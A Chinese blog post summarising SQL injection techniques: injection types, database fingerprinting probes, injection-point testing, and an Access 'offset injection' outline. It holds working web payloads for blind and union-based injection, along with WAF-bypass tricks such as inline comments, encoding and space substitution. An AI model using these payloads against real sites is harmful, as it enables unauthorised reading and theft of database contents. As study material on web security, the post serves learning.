mysql偏移注入_SQL注入总结

2ff34e647e2e3cdfd8dca593e17d9b0a.png

这两周的SQL注入总结

​ SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

​ 注入本质:1将用户提交的恶意代码和原本的SQL 语句进行拼接,将拼接后的语句带入数据库来执行恶意语句,从而达到非授权任意查询的效果。

​ 注入漏洞有两个关键条件:1

2

31.用户能控制输入的内容

2.Web应用把用户输入的内容带入到数据库中执行

SQL注入分类

根据数据库来分可以分为:11.Mysql数据库注入 2. Mssql数据库注入 3.Oracle数据库注入 4.Access数据库注入

根据请求方式不同可以分为:11.GET方式请求注入 2.POST方式请求注入 3.请求头注入

根据sql注入点的参数类型可以分为11.整数型注入 2.字符型注入

根据sql注入点的反馈类型分1

2

3

41.基于错误显示的sql注入 2.union类型的sql注入

3.布尔类型的sql注入 4.基于时间的sql注入

5.多语句注入 6.内联注入

7...

注入过程

大体分为这几个主要步骤:1

2

3

4

5

6

71.确定请求方式 2.确定数据库类型

3.寻找注入点 4. 判断注入点的参数类型

5.判断截断符号 6.根据注入点的反馈类选择注入方法

7.判断WAF过滤字符 8.构建符合标准的注入语句

确定请求方式

HTTP 定义了与服务器交互的不同方法,最基本的方法是 GET 和 POST。

GET方式在客户端通过URL提交数据,数据在URL中可以看到,例如在日常中订购服务:1http://www.cnblogs.com/javame/index.htm?servId=2

POST方式数据放置在HTML HEADER内提交,数据在URL中看不到

GET只能传输比较少的数据,安全性较低,POST传输数据较多,安全性也比GET高。

确定数据库类型

获取数据时,每种数据库架构、语法、类型都是不一样的。1and (select count(*) from MSysAccessObjects) > 0

返回正常则说明是Access1and (select count(*) from sysobjects) > 0

返回正常说明是Mssql1and length(user()) > 0

返回正常说明是MySQL

Mssql中可以调用 substring,Oracle 则可调用 substr

寻找注入点

精髓1只要和数据库交互的地方都有可能存在注入

一般就是在URL后面的?id=n 后面,网页搜索框中,登陆帐号,请求头。

判断注入点的参数类型

注入点参数类型主要分为:数字型、字符型。

判断数字型:1如?id=2 ,将2变为3。在?id=后面设置3-1。如果?id=3-1的页面和2的一样,那么就是数字型注入

判断字符型:1常规字符型有' 、"、')、")、))。在?id=2后面分别加入前面的符号。如果报错或者页面回显不正常,那么证明有注入。

判断截断符号

在我们确定是字符还是数字型之后,要判断他的截断符号是什么

数字型1直接在语句后面添加要注入的语句即可

字符型1

2

3在确定完截断符号之后不断尝试注释符号,直到找到拼接后让页面恢复正常的字符。

常见的有:-- | %23 /**/

根据注入点的反馈类选择注入方法

当我们确定完注释符号和截断符号时就可以选择注入方法了。大致有六种:1

2

31.基于错误显示的sql注入 2.union类型的sql注入

3.布尔类型的sql注入 4.基于时间的sql注入

5.多语句注入 6.内联注入

在这里分情况进行注入

有回显时:1可以选择union类型的sql注入和基于错误显示的sql注入

无回显时:1可以选择布尔类型的sql注入和基于时间的sql盲注

特殊情况:1情况满足可以使用多语句注入。当-- | 等注释符被过滤时可以使用内联注入

判断WAF过滤字符

当我们在注入时可能会遇到and select union等关键字符被WAF过滤的情况,这时候就要肠坏死绕过WAF了。常见的绕过方法如下:

HTTP参数控制:1

2

3HPP(HTTP Parameter Polution)重复参数污染

HPF (HTTP Parameter Fragment)HTTP分割注入

白名单绕过:1

2

3

4

5基于IP地址的白名单,一般很难绕过

基于应用层的数据白名单,可能造成bypass

特殊目录白名单绕过:admin/dede/install等特殊目录

过滤掉and和or情况下的盲注:1

2

3?id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23

?id=strcmp(left((select+username+from+users+limit+0,1),1)0x42)%23

加括号绕过:1

2

3

4

5

6

7

8

9?id=-1+union+(select+1,2,3+from+users)%23

?id=(-1)union(select(1),(2),(3)from(users))

?id=(1)or(0x50=0x50)

?id=(-1)union((((()select(1),hex(2),hex(3)from(users)))))

?id=-1 union select 1,{x 2},3

等价函数与命令:1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17函数或变量:

hex()/bin() ==>ascii()

sleep ==> benchmark()

concat_ws() ==> group_concat()

mid()/substr() ==> substring()

@@version/datadir ==> version/datadir()

逻辑符号:

and ==> &&

or ==> ||

利用注释绕过:1

2

3

4

5

6

7普通注释:

?id=1/**/union/**/sElect**/1,2,3%23

内联注释:相比普通注释,内联注释用的更多,有一个特性/*!*/只有Mysql能识别,/*!*/表示注释里面的语句会被执行

?id-1/*UNION*/%20/*!SELECT*/%201,2,3

?d=1%0A/**//*!50000%55nlOn*//*yoyu*/all/*%0A*//*!%53eLEct*/%0A/*nnaa*/+1,2,3

/*!50000%55nlOn*/50000表示假如,数据库是5.00.00以上版本,该语句才会被执行

利用编码绕过:1

2

3

4

5Unicode编码

单引号:%u0027/%u02b9/%u02bc/%u02c8/%u2032

空格:%u0020/%uff00/%c0%20

左括号:%u0028/%uff08/%c0%28/

右括号:%u0029/%uff09

用特殊字符代替空格:1

2

3

4

5

6%09 tab键

%0a 换行

%0c 新的一页

%0d return功能

%0b tab键

%a0 空格

特殊符号:1

2

3

4

5反引号`,select`version()`

神奇的"-+.", select+id from users;"+"用于字符串连接,"-"和"."可以逃过空格和关键字过滤

@符号,select @^1.from users;@表用户定义,@@表示系统变量

select-conut(id) test from users;//绕过空格规则

关键字拆分:'se'+'lec'+'t' %s%e%L%E%c%t 1

构建符合标准的注入语句

最后就是将截断符号,注释符,选择后的注入方式,绕过WAF 结合在一起。

注入时常用的函数函数名称函数功能函数名称函数功能system_user()系统函数名count()返回执行结果的数量

user()用户名concat()没有分隔符的连接字符串

current_user()当前用户名concat_ws()含有分隔符的连接字符串

session_user()连接数据库的用户名load_file()读取本地的文件

database()数据库名into outfile()写文件

versionI数据库版本ascii()字符串的ASCII代码值

@@datadir数据库路径ord()返回字符串第一个字符的ASCII值

@@basedir数据库安装路近mid()返回一个字符串的一部分

@@version_compile_os操作系统substr()返回7一个字符串的一部分

length()返回字符串的长度if()> select if (1>2,2,3); ->3

left()返回字符串左面的几个字符strcmp()比较字符串的内容

floor()返回小于或等于x的最大整数ifnull()假如参数1不为null,则返回值为参数1,否则返回值为参数2

rand()返回0和1之间的随机数exp()返回e的x次方

sleep()让此语句运行n秒钟

特殊注入方法

除去常见的注入方法之外还有这样的注入方法:1

2

3

4

5

6

7二次编码注入

二次注入

偏移注入

外带查询

在这里查漏补缺记一下偏移注入:

access偏移注入

[背景]1

2

31.偏移注入指access偏移注入,主要是由于数据库结构的问题,其他数据库没办法利用

2.用于解决判断出表明,得不到字段的困境。

[偏移注入的特点]1

2

31.看人品和技巧的注入方法,不是%100能成功

2.无需管理帐号密码字段,直接爆破帐号密码。

[利用条件]1

2

31.已知管理表名

2.已直任意字段(一个或多个 多个会增加几率)

[影响偏移注入成功率的因素]1

2

3

4

51.管理表的字段越少越好(最好就三个 1.id 2.帐号字段 3.密码字段)

2.当前注入点的脚本内查询的表内的字段数的字段越多越好(最好有几十个)

3.已知的字段数越多越好

[偏移注入的流程]1

2

3

4

51.判断字段数

2.判断表名

3.开始偏移注入

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值